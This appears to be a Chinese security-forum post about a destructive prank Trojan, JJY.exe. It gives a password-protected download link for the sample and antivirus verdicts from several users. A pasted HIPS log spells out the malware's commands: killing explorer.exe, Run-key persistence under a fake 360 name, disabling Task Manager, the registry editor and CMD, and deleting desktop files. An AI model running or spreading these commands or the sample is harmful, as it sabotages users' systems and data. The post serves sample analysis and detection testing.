这是一个非常奇葩的恶意程序。。

NMBHA

原名：JJY.exe
你双击它时，他会结束explorer.exe，修改你的系统图标，然后全屏播放一段动画（如图），然后重启电脑

他会清空你的桌面，然后会在你的桌面上创建一大堆名为“Engineerning drawing....txt”的文档，原桌面文件统统丢失！  
链接: https://pan.baidu.com/s/1ghnKHur 密码: 6k4k

Kaspersky用户

AVAST KILL

Jerry.Lin

aboringman

KAV：


Trojan.Win32.Diztakun.bamt

tihs

KART，离线主防kill，explorer.exe被结束

XZ8SM7Sx0bVkoUV

火绒

llcy

Trojan.Generic

2605276004x

sep杀-Trojan.Gen

左手

1. 2018/1/22 星期一 21:55:53    创建文件 风险提示:低风险    允许
   
2. 进程: c:\users\administrator\desktop\jjy.exe
   
3. 目标: C:\hehe.bmp
   
4. 规则: [应用程序]?:\*\*\* -> [文件组]《保护》f023_根目录
   
5. 
   
6. 2018/1/22 星期一 21:55:53    创建文件 风险提示:低风险    允许
   
7. 进程: c:\users\administrator\desktop\jjy.exe<div class="quote"><blockquote>Too Young
   
8. 
   
9. Too Simple
   
10. 
    
11. Sometimes Naive
    
12. 
    
13. 苟利国家生死以，岂因祸福避趋之。
    
14. 
    
15. 你和你的电脑的生命-1s
    
16. 
    
17. 叽叽歪和长者在你背后

复制代码

目标: C:\hehe.ico
规则: [应用程序]?:\*\*\* -> [文件组]《保护》f023_根目录

2018/1/22 星期一 21:56:12    创建文件 风险提示:低风险    允许
进程: c:\users\administrator\desktop\jjy.exe
目标: C:\Windows\System32\360SafeExt.dll
规则: [应用程序]?:\*\*\*\* -> [文件组]{⑶中防御模式}f260_①启用《写入windows系统执行文件》 -> [文件]c:\windows\*; *.dll

2018/1/22 星期一 21:56:12    创建文件 风险提示:低风险    允许
进程: d:\program files\fscapture_8.5_chs_v3\fscapture.exe
目标: C:\Users\Administrator\Desktop\20180122215608.jpg
规则: [应用程序]?:\program files\*\*.exe -> [文件组]《询问》f060_桌面

2018/1/22 星期一 21:56:22    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\taskkill.exe
命令行: "C:\Windows\System32\taskkill.exe"  /f /im explorer.exe
规则: [应用程序]?* -> [子应用程序]c:\windows\system32\taskkill.exe

2018/1/22 星期一 21:56:22    创建文件 风险提示:低风险    允许
进程: d:\program files\fscapture_8.5_chs_v3\fscapture.exe
目标: C:\Users\Administrator\Desktop\20180122215618.jpg
规则: [应用程序]?:\program files\*\*.exe -> [文件组]《询问》f060_桌面

2018/1/22 星期一 21:56:22    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\reg.exe
命令行: "C:\Windows\System32\reg.exe"  add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v 360SafeExt /t REG_SZ /d C:\Windows\system32\360SafeExt.exe /f
规则: [应用程序]* -> [子应用程序]a003_《不受信任》_降权组

2018/1/22 星期一 21:56:22    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\reg.exe
命令行: "C:\Windows\System32\reg.exe"  add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v DisableTaskMgr /t REG_DWORD /d 00000001 /f
规则: [应用程序]* -> [子应用程序]a003_《不受信任》_降权组

2018/1/22 星期一 21:56:22    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\reg.exe
命令行: "C:\Windows\System32\reg.exe"  add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v DisableRegistryTools /t REG_DWORD /d 00000001 /f
规则: [应用程序]* -> [子应用程序]a003_《不受信任》_降权组

2018/1/22 星期一 21:56:22    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\reg.exe
命令行: "C:\Windows\System32\reg.exe"  add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ /v NoRun /t REG_DWORD /d 00000001 /f
规则: [应用程序]* -> [子应用程序]a003_《不受信任》_降权组

2018/1/22 星期一 21:56:22    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\reg.exe
命令行: "C:\Windows\System32\reg.exe"  add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Windows\System32\Zhudongfangyu.bmp /f
规则: [应用程序]* -> [子应用程序]a003_《不受信任》_降权组

2018/1/22 星期一 21:56:22    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\reg.exe
命令行: "C:\Windows\System32\reg.exe"  add HKEY_CLASSES_ROOT\txtfile\DefaultIcon\ /ve /t REG_EXPAND_SZ /d C:\Windows\system32\360SafeExt.ico,0 /f
规则: [应用程序]* -> [子应用程序]a003_《不受信任》_降权组

2018/1/22 星期一 21:56:22    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\cmd.exe
命令行: "C:\Windows\System32\cmd.exe"  /c copy "C:\Users\Administrator\Desktop\JJY.exe" "C:\Windows\system32\360SafeExt.exe"
规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [子应用程序]?:\windows\system32\cmd.exe

2018/1/22 星期一 21:56:22    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\cmd.exe
命令行: "C:\Windows\System32\cmd.exe"  /c move "C:\hehe.ico" "C:\Windows\system32\360SafeExt.ico"
规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [子应用程序]?:\windows\system32\cmd.exe

2018/1/22 星期一 21:56:22    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\cmd.exe
命令行: "C:\Windows\System32\cmd.exe"  /c move "C:\hehe.bmp" "C:\Windows\System32\Zhudongfangyu.bmp"
规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [子应用程序]?:\windows\system32\cmd.exe

2018/1/22 星期一 21:56:32    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\cmd.exe
命令行: "C:\Windows\System32\cmd.exe"  /c wmic useraccount where name='%USERNAME%' call rename '叽叽歪' & pause
规则: [应用程序]?* -> [子应用程序]?:\windows\system32\cmd.exe

2018/1/22 星期一 21:56:32    创建文件 风险提示:低风险    允许
进程: d:\program files\fscapture_8.5_chs_v3\fscapture.exe
目标: C:\Users\Administrator\Desktop\20180122215626.jpg
规则: [应用程序]?:\program files\*\*.exe -> [文件组]《询问》f060_桌面

2018/1/22 星期一 21:56:32    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\reg.exe
命令行: "C:\Windows\System32\reg.exe"  add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum\ /v {450D8FBA-AD25-11D0-98A8-0800361B1103} /t REG_DWORD /d 00000001 /f
规则: [应用程序]* -> [子应用程序]a003_《不受信任》_降权组

2018/1/22 星期一 21:56:32    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\reg.exe
命令行: "C:\Windows\System32\reg.exe"  add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum\ /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 00000001 /f
规则: [应用程序]* -> [子应用程序]a003_《不受信任》_降权组

2018/1/22 星期一 21:56:32    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\reg.exe
命令行: "C:\Windows\System32\reg.exe"  add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum\ /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 00000001 /f
规则: [应用程序]* -> [子应用程序]a003_《不受信任》_降权组

2018/1/22 星期一 21:56:43    结束其他进程 风险提示:高风险    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\reg.exe
规则: [应用程序]* -> [目标应用程序]c:\windows\*

2018/1/22 星期一 21:56:43    创建文件 风险提示:低风险    允许
进程: d:\program files\fscapture_8.5_chs_v3\fscapture.exe
目标: C:\Users\Administrator\Desktop\20180122215637.jpg
规则: [应用程序]?:\program files\*\*.exe -> [文件组]《询问》f060_桌面

2018/1/22 星期一 21:56:43    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\reg.exe
命令行: "C:\Windows\System32\reg.exe"  add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ /v NoNetHood /t REG_DWORD /d 00000001 /f
规则: [应用程序]* -> [子应用程序]a003_《不受信任》_降权组

2018/1/22 星期一 21:56:43    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\reg.exe
命令行: "C:\Windows\System32\reg.exe"  add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ /v NoInternetIcon /t REG_DWORD /d 00000001 /f
规则: [应用程序]* -> [子应用程序]a003_《不受信任》_降权组

2018/1/22 星期一 21:56:43    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\cmd.exe
命令行: "C:\Windows\System32\cmd.exe"  /c del "C:\Users\Administrator\Desktop\*.*" /q
规则: [应用程序组]→a999_★《临时规则_安装模式》★ -> [子应用程序]?:\windows\system32\cmd.exe

2018/1/22 星期一 21:56:43    创建新进程 风险提示:未知    阻止
进程: c:\users\administrator\desktop\jjy.exe
目标: c:\windows\system32\reg.exe
命令行: "C:\Windows\System32\reg.exe"  add HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\ /v DisableCMD /t REG_DWORD /d 00000002 /f
规则: [应用程序]* -> [子应用程序]a003_《不受信任》_降权组

安全守护者